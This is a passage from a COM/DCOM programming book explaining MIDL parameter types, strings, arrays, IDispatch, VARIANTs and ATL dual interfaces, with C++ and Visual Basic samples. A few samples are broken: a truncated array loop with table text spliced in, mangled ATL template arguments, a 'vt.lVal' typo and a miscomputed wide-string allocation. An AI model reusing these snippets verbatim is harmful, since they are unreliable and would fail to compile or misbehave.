Here's the full-blown version of the LongTest() method:
STDMETHODIMP LongTest(long lIn, long * plOut)
{
if (plOut == NULL) return E_POINTER;
*plOut = lIn + 10;
return S_OK;
}
This method does not allocate any memory, which is consis-
tent with a ref pointer. In this case the server method will add 10
to the in parameter and assign it to the out parameter.
Since we're conscientious programmers, we added in some
pointer checking. This isn't strictly necessary for this interface. If
you did call LongTest with a NULL pointer, you'll get an error.
The stub code would reject the call with an error of
RPC_X_NULL_REF_POINTER - our method would never be
called. If the pointer had been declared was unique or ptr, the
NULL check would be important.
Let's take a quick review of the code for this interface.
MIDL DEFINITION
HRESULT LongTest([in] long l, [out] long *pl);
SERVER CODE
STDMETHODIMP CBasicTypes::LongTest(long l, long * pl)
{
if (pl == NULL) return E_POINTER;
*pl = l + 10;
return S_OK;
}
112 Chapter 8 •
Defining and Using Interfaces
CLIENT USAGE
HRESULT hr;
long l1=1;
long l2=0;
hr = pI->LongTest( l1, &l2 );
The client is then calling the LongTest() method. The out
parameter "l2" is allocated on the local program's stack, and its
address is passed to the server. When the call returns we would
expect an HRESULT value of S_OK, and the value of pointer l2
to be eleven.
Double Parameters
What if we're using a double parameter? The code is almost
identical for all the base types. Here's the IDL code for that inter-
face.
MIDL DEFINITION
HRESULT DoubleTest([in] double d, [out] double *pd);
SERVER CODE
STDMETHODIMP CBasicTypes::DoubleTest(double d, double
* pd)
{
if (pd == NULL) return E_POINTER;
*pd = d + 10.0;
return S_OK;
}
CLIENT USAGE
HRESULT hr;
double d1=1;
double d2=0;
hr = pI->DoubleTest( d1, &d2 );
Boolean Parameters
113
Additonal Information and Updates: http://www.iftech.com/dcom
Boolean Parameters
The IDL boolean type can be a little confusing. In IDL, boolean
is a single byte. This makes sense in the context of COM, which
needs to optimize communications by passing the smallest
amount of data possible. Unfortunately, C++ defines a BOOL as
a 32-bit longword. You have to take this size differential into
account, either by using an IDL long, or by casting the parameter
from BOOL to a single byte.
Working with Strings
There are three basic types of string allowed in MIDL.
• char arrays.
• Wide character strings.
• BSTR. Visual BASIC style strings.
The default string type for C++ is of course an array of 8-bit
char's with a NULL terminator at the end. This type maps to the
MIDL "unsigned char" type. There's little difference between
arrays of signed and unsigned characters, and arrays of bytes.
Any of these choices will work.
If you're working with international software, you have to
use "wide" 16 bit Unicode characters. There are several ways to
define these in MIDL. The most common types used are
"unsigned short" and "wchar_t". The MIDL wchar_t type has an
identical type in C++.
There are two attributes that are commonly used in associa-
tion with MIDL strings. These are the string and size_is
attribute.
Character and Wide Character strings are arrays. The only
thing that distinguishes an array from a character string is the
NULL terminator at the end. The string attribute tells MIDL that it
can determine the length of the string by searching for the NULL
terminator. The generated code will automatically call the appro-
priate strlen(), lstrlen(), or wcslen() function. The string attribute
114 Chapter 8 •
Defining and Using Interfaces
is not required for passing strings, you can use the size_is
attribute to accomplish the same thing.
Here are two examples of interfaces that use the string
attribute to pass data to the server:
MIDL DEFINITION
HRESULT SzSend([in, string] unsigned char * s1);
HRESULT WcharSend([in,string] wchar_t *s1);
SERVER CODE
STDMETHODIMP CStringTypes::SzSend(unsigned char * s1)
{
m_String = s1;
return S_OK;
}
STDMETHODIMP CStringTypes::WcharSend(wchar_t *s1)
{
long len = wcslen(s1) * sizeof(wchar_t);
m_pWide = new wchar_t[len+1]; // add 1 char for null
wcscpy( m_pWide, s1 );
return S_OK;
}
CLIENT CODE
char s1[] = "Null Terminated C String";
pI->SzSend( s1 );
wchar_t w1[] = L"This is Wide String";
pI->WcharSend( w1 );
Attribute
Usage
string
An array of char, wchar_t, or byte. The array must be termi-
nated by a null value.
size_is()
Specifies the number of elements in an array. This attribute is
used to determine string array size at run time.
Table 8.4
COM String Attributes
Working with Strings
115
Additonal Information and Updates: http://www.iftech.com/dcom
These interfaces offer a simple way to pass character strings
to a server. This is one of the few cases where I would recom-
mend using the string attribute. For [in,out] parameters, the string
attribute can be dangerous. MIDL calculates the size of the trans-
mission buffer based on the size of the input string. If the server
passes back a larger string, the transmission buffer will be over-
written. This type of interface can be extremely buggy.
Sometimes we can't use NULL terminated strings. In these
cases, you can explicitly specify the length of the string array.
There are two methods of doing this. You can use a fixed length
string, or you can use the size_is attribute.
A fixed length array would look like this:
MIDL DEFINITION
HRESULT SzFixed([in] unsigned char s1[18]);
SERVER CODE
STDMETHODIMP CStringTypes::SzFixed(unsigned char
s1[18])
{
m_String = s1;
return S_OK;
}
CLIENT CODE
unsigned char sf[18]= "An 18 byte String";
pI->SzFixed( sf );
The Server definition would also require a fixed length dec-
laration in the parameter. Unless you're passing a buffer that is
always a fixed size, this is an inefficient way to design an inter-
face. It's also quite easy to inadvertently overrun the boundaries
of a fixed array (the classic mistake is to forget space for the
NULL terminator.) A better way would be to specify the number
of bytes at run-time. The size_is attribute tells the marshaling
code exactly how many bytes are actually being passed.
116 Chapter 8 •
Defining and Using Interfaces
IDL will generate marshaling code to pass exactly the num-
ber of bytes required. If you are dealing with NULL terminated
[in] strings, this offers no advantages over using the "string"
attribute. We'll see similar syntax when we examine IDL array
types. Here's the server code to handle a string with an explicit
size:
MIDL DEFINITION
HRESULT SzSized ([in] long llen,
[in,size_is(llen)] unsigned char * s1);
SERVER CODE
HRESULT SzSized(long llen, unsigned char *s1)
{
char *buf = new char[llen+1];// temp buffer
strncpy( buf, (char *)s1, llen );// copy string
buf[llen]=NULL;// add null to end
m_String = buf;// copy into CString
delete[] buf;// delete temp
return S_OK;
}
CLIENT CODE
char s1[] = "Null Terminated C String";
pI->SzSized( strlen(s1), (unsigned char*)s1 );
The size_is attribute is often used when returning data in a
string. The string pointer is given an [out] attribute, and its maxi-
mum size is specified in the first parameter. In this example, the
variable "len" specifies the size of the string being sent by the cli-
ent.
MIDL DEFINITION
HRESULT SzRead([in] long len, [out,size_is(len)] char
*s1);
Working with Strings
117
Additonal Information and Updates: http://www.iftech.com/dcom
SERVER CODE
STDMETHODIMP SzRead(long len, unsigned char * s1)
{
strncpy( (char*)s1, m_String, len );
return S_OK;
}
CLIENT USAGE
char s2[64];
pI->SzRead( sizeof(s2), s2 );
The server knows the maximum size of the return buffer, so
it can ensure that it isn't overwritten. The problem here is that
we're passing around a number of unused bytes. The len param-
eter specifies how many bytes will be transferred, not how many
are actually used. Even if the string were empty, all 64 bytes
would still be copied. A better way to define this interface would
be to allocate the string memory on the server side and pass it
back to the client.
To accomplish this we pass a NULL pointer to the server
and allocate the buffer using CoTaskmemAlloc. This function
allows the allocated memory to be marshaled back from the
server to the client, and deleted by the client. The client will call
CoTaskMemFree when it is finished with the pointer. Together
these two functions are the COM equivalent of new and delete.
MIDL DEFINITION
HRESULT SzGetMessage([out,string] char **s1);
SERVER CODE
STDMETHODIMP CStringTypes::SzGetMessage(unsigned char
** s1)
{
char message[] = "Returned ABC 123";
long len = sizeof(message);
118 Chapter 8 •
Defining and Using Interfaces
*s1 = (unsigned char*)CoTaskMemAlloc( len );
if (*s1 == NULL) return E_OUTOFMEMORY;
strcpy( (char*)*s1, message );
return S_OK;
}
CLIENT USEAGE
char *ps=NULL;
pI->SzGetMessage(&ps);
// use the pointer
CoTaskMemFree(ps);
In this example we used the [string] attribute to determine
the length of the string buffer. We could just as easily have used
[size_is] and explicitly determined the buffer size.
BSTR is a data structure that contains an array of characters,
preceded by the string length. BSTR's are NULL terminated, but
they aren't simple arrays. There can be several null terminators
in a BSTR, but the last counted element in the array will always
have a NULL terminator. If you're using dual or oleautomation
interfaces, you will need to work with BSTR's.
BSTR's are a difficult type to use in C++. You shouldn't try to
manipulate them directly. Fortunately there are several helper
classes and functions available.
• SysAllocString, SysFreeString create and destroy BSTR's.
• CString::AllocSysString and CString::SetSysString.
• bstr_t encapsulates the BSTR class in C++
• The ATL CComBstr wrapper class.
MIDL DEFINITION
HRESULT BsSend([in] BSTR bs);
HRESULT BsRead([out] BSTR *pbs);
SERVER CODE
BSTR m_BSTR;
STDMETHODIMP CStringTypes::BsSend(BSTR bs)
Arrays
119
Additonal Information and Updates: http://www.iftech.com/dcom
{
m_BSTR = bs;// save value in local
return S_OK;
}
STDMETHODIMP CStringTypes::BsRead( BSTR *pbs)
{
CComBSTR temp;
temp = m_BSTR;
temp.Append( " Returned" );
*pbs = temp;
return S_OK;
}
CLIENT USEAGE
wchar_t tempw[] = L"This is a BSTR";
BSTR bs1 = SysAllocString(tempw);
BSTR bs2;
pI->BsSend( bs1 );
pI->BsRead( &bs2 );
Note that the string was first created as a wide character
string (wchar_t), and then it was copied into the BSTR using
SysAllocString(). This extra step is required to properly initialize
the character count in the BSTR. You free the string with Sys-
FreeString.
MIDL strings are extremely simple to define. That's not to
say they are easy to use. Passing strings and arrays across a COM
interface can be frustrating. COM needs a lot of information
about parameter lengths before they can be transmitted. When
working with strings you need to pay particular attention to
attributes.
Arrays
In many ways our discussion of strings covers the important
issues concerning arrays; strings are a specialization of arrays.
COM allows four basic types of arrays: Fixed, Conformant, vary-
120 Chapter 8 •
Defining and Using Interfaces
ing, and open. Arrays can be multi-dimensional, and have a set
of special attributes associated with them.
MIDL DEFINITION
HRESULT TestFixed([in,out] long lGrid[10]);
HRESULT TestConf([in] long lSize,
[in,out,size_is(lSize)] long *lGrid);
SERVER CODE
STDMETHODIMP CArrayTypes::TestFixed(long lGrid[10])
{
for( int i=0; i<10; i++)
lGrid[i] = lGrid[i] + 10;
return S_OK;
}
STDMETHODIMP CArrayTypes::TestConf(long lSize, long *
lGrid)
{
for( int i=0; i<LSIZE;
Attribute
Usage
Size_is(n)
Specifies the number of elements in an array. This attribute
is used to determine array size at run time.
Max_is(n)
Specifies the maximum index size of an array. The max-
imum index value for the parameter is n-1.
Length_is(n)
Determines the number of array elements to be trans-
mitted. This is not necessarily the same as the array
size. Cannot be used with last_is.
First_is(n)
Determines the first array element to be transmitted.
Last_is(n)
Determines the last array element to be transmitted.
Table 8.5
COM Array Attributes
Structures and Enumerations
121
Additonal Information and Updates: http://www.iftech.com/dcom
CLIENT CODE
long arr[10]={0,1,2,3,4,5,6,7,8,9};
pI->TestFixed( arr );
pI->TestConf( 10, arr );
Varying arrays, and their close cousin open arrays allow the
interface designer to have even more control over how data is
transferred. By using the first_is, length_is, and last_is attributes,
you can design the interface so that only modified data is mar-
shaled and transmitted between the client and server. For large
arrays, this makes it possible to transmit only those elements of
an array that have been changed.
Structures and Enumerations
MIDL structures are almost identical to "C" language structures.
Unlike the C++ struct, the MIDL type cannot contain methods -
it's limited to data. A MIDL struct is similar to "C" language
structs, which don't allow methods either. Here's a typical MIDL
structure definition:
typedef struct
{
long lval;
double dval;
short sval;
BYTE bval;
} TestStruct;
The typedef and struct declarations work very similarly to
their "C" counterpart. This is not to say it is an exact analog; like
most of MIDL, it uses a limited subset of data types. You also
can't use a struct in oleautomation or dual interfaces.
You can define enumerated data types with a typedef state-
ment:
typedef enum { Red, Blue, Green } RGB_ENUM;
122 Chapter 8 •
Defining and Using Interfaces
Values start at 0 and are incremented from there. You can
also explicitly assign values to enum's. MIDL handles enum's as
unsigned shorts. This is incompatible with C++ which uses
signed int's. If you want to be compatible with C++ use the
v1_enum attribute.
Here's an example using the standard MIDL 8 bit enumera-
tion type. Note that we're giving the enumeration's explicit val-
ues - that's not required.
MIDL DEFINITION
typedef enum {Red = 0,Green = 1,Blue = 2} RGB_ENUM;
HRESULT EnumTest([in] RGB_ENUM e, [out] RGB_ENUM
*pe);
SERVER CODE
STDMETHODIMP CBasicTypes::EnumTest(RGB_ENUM e,
RGB_ENUM *pe)
{
if (pe == NULL) return E_POINTER;
*pe = e;
return S_OK;
}
CLIENT USAGE
RGB_ENUM r1, r2;
r1 = Blue;
pI->EnumTest( r1, &r2 );
Note that the client knew about the definition of
RGB_ENUM. MIDL will generate a definition of the enumeration
in the project header, as well as the type library.
Summary
123
Additonal Information and Updates: http://www.iftech.com/dcom
Summary
Much of the real "COM" programming you do will deal with call-
ing methods and passing parameters. This task is a lot trickier
than it first appears. In C++ this task can be almost seem trivial,
but for components there is a lot you need to know. Fortunately,
MIDL gives us tremendous control over this process. We've tried
to give examples of all the most common data types and
attributes.
124 Chapter 8 •
Defining and Using Interfaces
N
I
N
E
9
OLE Automation
and
Dual Interfaces
There's been a debate going on for years now about the merits
of Visual Basic (VB) and C++. The C++ programmers insist that
their tool offers the most powerful and efficient method of devel-
oping Windows software. VB developers insist their tool is an
easier and quicker way to develop applications. It's undeniable
that Visual Basic is becoming ubiquitous - it's integrated in
spreadsheets, word processors, databases, and even Microsoft
Developer Studio.
Add to this mix developers writing applications with Java,
Delphi and scripting languages. Developers using all these tools
need to access your COM components.
To accomplish this cross-platform integration we're going to
have to deal with IDispatch and the topic formerly known as
"OLE Automation". Microsoft now prefers to call it ActiveX and
COM, but OLE is lurking just under the surface. OLE itself is a
big topic, and there is a plethora of books on the subject. To
keep things manageable, we'll concentrate on the basic COM
methods required to communicate with automation clients.
Because you're reading this book, I can assume that you
already know a lot about C++ programming. C++ is the native
language of Windows, and offers an efficient and powerful way
to access the Windows API. Regardless of its other merits, C++ is
126 Chapter 9 •
Dual Interfaces
an excellent tool for developing powerful server applications. To
access these servers, COM is the communication method of
choice.
Visual Basic, Java, and scripting languages all share one
design limitation. They don't offer native support of pointers.
This limitation presents a fundamental incompatibility; COM is
built around the concept of a VTABLE, which is really an array of
function pointers. A client also needs to know the exact VTABLE
layout of the server to call its methods. In C++ we use a header
file, but it's only useful to other C++ programs. Obviously, we're
going to have to do things a little differently to make COM
objects available to a language like Visual Basic.
There are two ways to use COM through a non-pointer lan-
guage. The traditional method involves accessing COM through
a special well-known interface called IDispatch. If the language
itself knows how to use this interface, it automatically converts
its syntax into calls to IDispatch. The more recent (and efficient)
alternative is through a facility called type libraries. Type libraries
provide detailed information on the COM interface, allowing the
language to handle the details of calling the interface.
Both of these techniques have advantages and disadvan-
tages. In this chapter I will describe IDispatch and an alternative
called dual interfaces. I'm going to present the client code in this
chapter in Visual Basic. These examples were developed using
Visual Basic version 6.0.
IDL Definitions
In MIDL, IDispatch interfaces are referred to with the [dual] and
[oleautomation] attributes. These interfaces must inherit from the
standard interface IDispatch.
[
object,
uuid(F7ADBF5B-8BCA-11D1-8155-000000000000),
dual
]
interface IVbTest : IDispatch
The IDispatch Interface
127
Additonal Information and Updates: http://www.iftech.com/dcom
This is a dual interface, which implements IDispatch through
interface inheritance.
The IDispatch Interface
IDispatch is a special interface that is used to locate and call
COM methods without knowing their definition. The way COM
accomplishes this feat is quite complex, but extremely flexible.
There are two ways to use IDispatch from a VB program: late
binding and early binding. First let's look at late binding.
IDispatch has four methods. Because the interface inherits
from IUnknown (as all COM interfaces must), it also gets the
required QueryInterface, AddRef, and Release. Remember that
COM interfaces are immutable. This means all IDispatch inter-
faces MUST define these methods.
Binding refers to how a compiler or interpreter resolves references to COM objects.
Late Binding • The client (Visual Basic) interpreter waits until the COM method is called before it
checks the method. First, the object is queried for the ID of the method. Once this is determined, it calls
the method through Invoke(). This behavior is automatic in Visual Basic and most interpreted (and
macro) languages. If you want to do this in C++, it will take some programming. Late binding is very
slow, but very flexible.
Early Binding • The interpreter or compiler checks the method before the program runs. All the Dis-
patch ID's are determined beforehand. The method is called through Invoke(). Early binding is much
faster than late binding. It is also catches errors sooner.
Very Early Binding • This is also known as Virtual Function Table, or VTABLE, binding. The client calls
the COM methods directly without using Invoke(). A type library or header file is required. This is how
almost all C++ programs access COM objects. This is the fastest type of binding.
ID Binding • This can be thought as "manual" early binding. The programmer hard-codes, or caches,
all the DISPID's and calls Invoke() directly.
WHAT IS BINDING?................
128 Chapter 9 •
Dual Interfaces
COM-compatible languages have built-in support for the
IDispatch interface. Here's an example from VB:
Dim Testobj As Object
Set Testobj = CreateObject("VbTest.VbTest.1")
Testobj.Beep (1000)
Set testobj = Nothing
This example isn't really very different from the way we do
it in C++ using the #import directive. What is going on behind
the scenes is quite a bit different.
The first statement creates a generic object. A VB "Object" is
generic and can contain any Visual Basic type, including a COM
object. This is accomplished by using the VARIANT type, which
we'll discuss later in this chapter. We use the CreateObject func-
tion to look up the object in the registry and attach to the server.
The string passed into CreateObject is the ProgID of the server.
In this case, “VbTest.VbTest.1” is a name we chose to give our
test server (more details on naming below). If the server wasn't
properly registered or we typed in the wrong name, the Cre-
ateObject call will fail with a run-time error.
IDispatch
method
Description
GetTypeInfoCount
Returns the availability of type information. Returns 0 if
none, 1 if type information is available.
GetTypeInfo
Retrieves type information about the interface, if avail-
able.
GetIDsOfNames
Takes a method or property name, and returns a
DISPID.
Invoke
Calls methods on the interface using the DISPID as an
identifier.
Table 9.1
Methods of Dispatch
The IDispatch Interface
129
Additonal Information and Updates: http://www.iftech.com/dcom
The call to the Beep method is straightforward to write, but
the Basic interpreter has to do a lot of processing to make it hap-
pen. Here's a summary of the steps:
1. Get the DISPID of the COM method named Beep
2. Build a parameter list.
3. Call Invoke, passing the DISPID and parameter list.
VB calls the GetIDsOfNames function, passing in the name
of the function. In this case, the function name is the string
"Beep". GetIDsOfNames will look up the name and return the
dispatch ID. Where does this ID come from? Let's look at the IDL
definition of the method:
[id(7), helpstring("method Beep")]
HRESULT Beep([in] long lDuration);
GetIDsOfNames will look up the string "Beep" internally
and return a DISPID of "7". How does it find the DISPID? That
depends on how the IDispatch interface is created. In our exam-
ples we are using an interface created with ATL. ATL uses the
class IDispatchImpl, which looks it up in the type library. When
the MIDL compiler created the type library it included a map of
all the function names and their DISPID's.
In the OLE world there is a whole set of pre-defined
DISPID's. These ID's have been mapped to standard properties
of objects, such as fill color, text, and font. These pre-defined
DISPID's all have negative numbers, and are defined in OLE-
CTL.H.
Once VB has the DISPID, it needs to build a list of parame-
ters to send to Beep. In this case, there is only one parameter: an
[in]long parameter. The problem here is that VB doesn't know
how many parameters Beep takes, or what type they are. Build-
ing parameter lists is actually a pretty complex operation. (If we
use a type library, VB can get this information directly. See the
section on early binding).
A parameter list is contained in a Dispatch Parameter, or
DISPPARAMS structure. This structure is defined in OAIDL.IDL as
follows:
130 Chapter 9 •
Dual Interfaces
typedef struct tagDISPPARAMS {
[size_is(cArgs)] VARIANTARG * rgvarg;
[size_is(cNamedArgs)] DISPID * rgdispidNamedArgs;
UINT cArgs;
UINT cNamedArgs;
} DISPPARAMS;
If you would rather see the C++ header, it's in OAIDL.H and
looks like this:
typedef struct tagDISPPARAMS
{
VARIANTARG *rgvarg;
DISPID *rgdispidNamedArgs;
UINT cArgs;
UINT cNamedArgs;
}DISPPARAMS;
The parameter list is packed up in a DISPPARAMS structure,
each argument added to the VARIANTARG structure. As each
argument is added to the structure, the counter (cArgs) is incre-
mented. The member "*rgvarg" is essentially an array of VARIAN-
TARG structures.
OLE allows the use of what are called "Named" arguments.
These arguments are identified by a nametag, and may be
passed in any order. The handling of named arguments is taken
care of by the implementation of Invoke. We're not going to be
using named arguments here, but be aware of the possibility.
A VARIANTARG is a VARIANT, which is a gigantic union of
different data types. Here is an edited version of the definition
from OAIDL.IDL. If you look in OAIDL.H, you'll see that it is cre-
ated by running OAIDL.IDL through the MIDL compiler.
//VARIANT STRUCTURE
typedef VARIANT VARIANTARG;
struct tagVARIANT {
union {
struct __tagVARIANT {
VARTYPE vt;
The IDispatch Interface
131
Additonal Information and Updates: http://www.iftech.com/dcom
WORD wReserved1;
WORD wReserved2;
WORD wReserved3;
union {
LONG lVal; /*VT_I4*/
BYTE bVal; /*VT_UI1*/
SHORT iVal; /*VT_I2*/
FLOAT fltVal; /*VT_R4*/
DOUBLE dblVal; /*VT_R8*/
VARIANT_BOOL boolVal; /*VT_BOOL*/
_VARIANT_BOOL bool; /*(obsolete)*/
SCODE scode; /*VT_ERROR */
CY cyVal; /*VT_CY*/
DATE date; /*VT_DATE*/
BSTR bstrVal; /*VT_BSTR*/
IUnknown * punkVal; /*VT_UNKNOWN*/
IDispatch * pdispVal; /*VT_DISPATCH*/
SAFEARRAY * parray; /*VT_ARRAY*/
BYTE * pbVal; /*VT_BYREF|VT_UI1*/
SHORT * piVal; /*VT_BYREF|VT_I2*/
LONG * plVal; /*VT_BYREF|VT_I4*/
FLOAT * pfltVal; /*VT_BYREF|VT_R4*/
DOUBLE * pdblVal; /*VT_BYREF|VT_R8*/
VARIANT_BOOL *pboolVal; /*VT_BYREF|VT_BOOL*/
_VARIANT_BOOL *pbool; /*(obsolete)*/
SCODE * pscode; /*VT_BYREF|VT_ERROR*/
CY * pcyVal; /*VT_BYREF|VT_CY*/
DATE * pdate; /*VT_BYREF|VT_DATE*/
BSTR * pbstrVal; /*VT_BYREF|VT_BSTR*/
IUnknown ** ppunkVal; /*VT_BYREF|VT_UNKNOWN*/
IDispatch ** ppdispVal; /
*VT_BYREF|VT_DISPATCH*/
SAFEARRAY ** pparray; /*VT_BYREF|VT_ARRAY*/
VARIANT * pvarVal; /*VT_BYREF|VT_VARIANT*/
PVOID byref; /*Generic ByRef*/
CHAR cVal; /*VT_I1*/
USHORT uiVal; /*VT_UI2*/
ULONG ulVal; /*VT_UI4*/
INT intVal; /*VT_INT*/
UINT uintVal; /*VT_UINT*/
DECIMAL * pdecVal; /*VT_BYREF|VT_DECIMAL*/
132 Chapter 9 •
Dual Interfaces
CHAR * pcVal; /*VT_BYREF|VT_I1*/
USHORT * puiVal; /*VT_BYREF|VT_UI2*/
ULONG * pulVal; /*VT_BYREF|VT_UI4*/
INT * pintVal; /*VT_BYREF|VT_INT*/
UINT * puintVal; /*VT_BYREF|VT_UINT */
} __VARIANT_NAME_3;
} __VARIANT_NAME_2;
DECIMAL decVal;
} __VARIANT_NAME_1;
};
The actual variable stored will will correspond with its data
type. The actual type of the variable is stored in the VT member.
Each of the VT types is #defined to a number, for example VT_I4
has a value of 3. Because it's a union, the size of a VARIANT is at
least the size of its largest member. The types allowed in a VARI-
ANT are the only types you can pass to and from an IDispatch
interface.
Here's how you would put a long value into a VARIANT.
You should be able to generalize this code to any of the types
defined in the structure.
VARIANT v;
VariantInit(&v);
v.vt = VT_I4;
vt.lVal = 100;
Variants are somewhat ungainly structures to work with in
C++. Variants have their origin in Visual Basic with its notion of
changeable data types and automatic type conversion. Tradition-
ally Basic hasn't been a typed language, and Variants were used
to store all variables. One of the strengths of C++ is strong type
checking, so Variants are antithetical to good C++ programming
practice.
All parameters passed to Invoke will be packaged in this
VARIANTARG structure. The next step in calling a method
through IDispatch is the Invoke function.
Using Invoke
133
Additonal Information and Updates: http://www.iftech.com/dcom
Using Invoke
An IDispatch interface calls its functions through the Invoke()
method. Generally, the client programmer doesn't call any of the
IDispatch methods directly. Visual Basic hides all its methods,
including Invoke. If you need to call IDispatch methods from a
C++ client, you're a lot better off going directly through a
VTABLE. If you don't have a dual interface, building the parame-
ter lists and calling Invoke is going to be a laborious task. We'll
look at the Invoke method, even though I hope you won't have
to use it directly.
Here is the definition of Invoke from OAIDL.IDL.
HRESULT Invoke(
[in] DISPID dispIdMember,
[in] REFIID riid,
[in] LCID lcid,
[in] WORD wFlags,
[in, out] DISPPARAMS * pDispParams,
[out] VARIANT * pVarResult,
[out] EXCEPINFO * pExcepInfo,
[out] UINT * puArgErr
);
The DISPID of the requested function is given in the first
parameter. This tells Invoke which method to call. The requested
method's parameter list is passed in the "pDispParams" argu-
ment.
What happens if you call a method with an invalid parame-
ter? The Basic interpreter won't catch your error, because it
doesn't know enough to do so. The error is caught at run-time
by the COM server itself. One of the functions of Invoke() is to
check parameter lists. Invoke will try to convert the incorrect
parameter if possible, and if not, it will return an error status. For
example, if you called the Beep() method in Visual Basic with a
string like this:
Testobj.Beep ("1000") ' ok
Testobj.Beep ("Hello" ) ' run-time error
134 Chapter 9 •
Dual Interfaces
Invoke() would convert the string "1000" into a number, and
everything would work fine. When, however, you use a non-
numeric string like "Hello", Invoke() doesn't know how to make
the conversion. The function will fail with a VB run-time error
13, for "type mismatch". This ability to convert numbers can be
dangerous. If you accidentally reverse the order of parameters,
Invoke may be able to convert them anyway - giving unexpected
results.
The status of a function is returned in three ways: 1)
through the HRESULT, 2) the pExcepInfo structure, and 3) in the
pVarResult argument. Like all COM methods, severe failure will
be returned as an HRESULT. Visual Basic doesn't use the return
codes - the closest equivalent is the Err object. Invoke returns its
error information in an EXECPINFO structure.
typedef struct tagEXCEPINFO {
WORD wCode; /*An error code*/
WORD wReserved;
BSTR bstrSource; /*A source of the exception */
BSTR bstrDescription; /*A description of the error */
BSTR bstrHelpFile;
/*Fully qualified drive, path, and file name*/
DWORD dwHelpContext;
/*help context of topic within the help file */
ULONG pvReserved;
ULONG pfnDeferredFillIn;
SCODE scode;
} EXCEPINFO;
This structure looks amazingly like the Visual Basic "Err"
object. Table 9.2 shows the properties of that object.
The third type of returned data is in the pVarResult parame-
ter of Invoke(). This data contains a user defined return value.
What gets placed in here is determined by the [retval] attribute in
the IDL code of the interface. Any parameter marked with [retval]
is stuffed into a VARIANT and returned here. We'll see more of
this when we look at property "get" functions.
Using Invoke
135
Additonal Information and Updates: http://www.iftech.com/dcom
If you need to work directly with Variants in C++ you
should use the ATL CComVariant or “__variant_t” classes. There
are also API-level functions, all starting with "Variant". Variants
are very good at converting between data types. You can even
make use of variants as a quick-and-dirty method of converting
data types.
A 'pure' IDispatch interface is only required to implement
IUnknown, GetTypeInfoCount, GetTypeInfo, GetIDsOfNames,
and Invoke. Note that the methods called by Invoke don't have
to be COM methods. They can be implemented any way the pro-
grammer wants because they aren't called by COM directly.
Using these four methods, you can write a sever to do almost
anything.
As you can see, there is a lot of processing required to call a
method through IDispatch. It all happens behind the scenes in
VB so you are not aware of it, but it does take time. All that pro-
Err
Property
Description
Number
An error code for the error. This is the default property for
the object.
Source
Name of the current Visual Basic project.
Description
A string corresponding to the return of the Error function for
the specified Number, if this string exists. If the string doesn't
exist, Description contains "Application defined or object
defined error."
HelpFile
The fully qualified drive, path, and file name of the Visual
Basic Help file.
HelpContext
The Visual Basic Help file context ID for the error corre-
sponding to the Number property.
LastDLLError
On 32-bit Microsoft Windows operating systems only, con-
tains the system error code for the last call to a dynamic link
library (DLL). The LastDLLError property is read only.
Table 9.2
Error Properties in VB
136 Chapter 9 •
Dual Interfaces
cessing time means one thing: slow. There has to be a better
way, and there is - type libraries and Early binding.
Using Type Libraries for Early Binding
Most clients don't need to use a pure IDispatch interface. In VB
for example, you have extensive access to type information
through type libraries. The type library defines a number of very
important items:
• Interfaces exposed by a server
• Methods of an interface
• Dispatch ID's of methods
• Parameter list for methods
• GUIDs
• Data structures
• Marshaling information
The type library provides a complete description of the
server's methods and capabilities. Using this information, the VB
interpreter can provide more efficient access to the server.
Here's how we would write our VB interface using the type
library. First, you have to turn on object browsing for the VbTest
object. Do this in the Tools/References... menu item of the VB
editor. Find the server object in the list and check it on the list.
This causes Visual Basic to open the type library for browsing.
Warning - you won't be able to build the C++ server while
VB has an open reference to it. If you need to make any
changes, turn off browsing or close the project and rebuild your
C++ project.
We will only make two changes in the VB code. Instead of
creating a generic object, we create a specific COM Object. VB
will find the definition among its open references.
First, we create the object with a specific object type. In the
VB world this is also known as "hard typing." As objects become
more common in the VB world, the practice is becoming more
common.
Dual Interfaces
137
Additonal Information and Updates: http://www.iftech.com/dcom
Dim Testobj As VbTest
“VbTest” is a name we assigned to our test server (more
details on naming below). When we create the object we can
specify it more concisely, in a format C++ programmers will find
reassuringly familiar:
Set Testobj = New VbTest 'early binding
Syntactically early binding isn't very different. All the other
references to the object will remain unchanged. (In our four-line
program this isn't remarkable).
The real difference is in how VB calls the methods of the
Testobj object. It no longer needs to call GetIDsOfNames() to get
the DISPID of the method. Visual Basic is using the Type library
to get information about the Beep() method. It can find out
about the required parameters and build a parameter list. It can
also do all this before it calls the object, and without the over-
head of communicating remotely with the object.
Here's what's most interesting: VB isn't using Invoke to call
Beep() anymore. The call goes directly through the COM
VTABLE! VB is figuring out the pointers of the VTABLE without
the VB programmer even knowing they're using pointers.
Dual Interfaces
Dual interfaces can be called both through VTABLE pointers
and from interpreted languages via IDispatch. Actually, I've been
using dual interfaces in my examples all along.
If you aren't familiar with old-style OLE IDispatch imple-
mentations, dual interfaces may seem trivial. If you're working
with ATL, it's extremely easy to create a dual interface. Back in
the old days with MFC-based COM, this wasn't the case - it took
a considerable programming effort to build a dual interface. This
approach would have required, for example, that we implement
all the object's methods inside Invoke.
138 Chapter 9 •
Dual Interfaces
When an interface is called through Invoke(), it only needs
to implement the four methods of IDispatch. If you specify the
interface as dual, it implements these four methods, plus your
custom methods. Here's what the VTABLE looks like for a dual
interface:
When a dual interface method is called through Invoke, it
looks up the DISPID and finds the location of the method in the
VTABLE. It can then call the method through the VTABLE
pointer. In this case, if the user requested MyMethodA, the client
would call GetIdsOfNames and get the DISPID of that method -
five. It would map the call to the VTABLE, and call
MyMethodA(). An early binding client can skip all this and call
MyMethodA directly, without using GetIDsOfNames or Invoke.
When you create a new COM object using the ATL Object
Wizard, you can specify the dual attribute. This will cause the
wizard to add the ATL IDispatch implementation to the object.
Figure 9–1
The VTABLE of a dual interface
MyMethodC()
0
1
2
VTABLE
QueryInterface()
Addref()
Release()
Functions
IOLETestObj
Interface
3
4
5
6
7
8
9
GetTypeInfoCount()
GetTypeInfo()
GetIDsOfNames()
Invoke()
MyMethodA()
MyMethodB()
IUnknown
IDispatch
Custo
m
Dual Interfaces
139
Additonal Information and Updates: http://www.iftech.com/dcom
ATL makes IDispatch available by using the template class
IDispatchImpl<>.
class ATL_NO_VTABLE CVbTest :
public CComObjectRootEx,
public CComCoClass<CVBTEST, &CLSID_VbTest,
public ISupportErrorInfo,
public IDispatchImpl<IVBTEST, &LIBID_CH6Lib
&IID_IVbTest,
...
Note that one of the parameters to IDispatchImpl is the
GUID of a type library. This is the id of the type library defined
in the library statement of the IDL file. IDispatch interfaces and
type libraries are very closely tied together. The following line is
added to the COM MAP and, voila! Instant dual interface.
COM_INTERFACE_ENTRY(IDispatch)
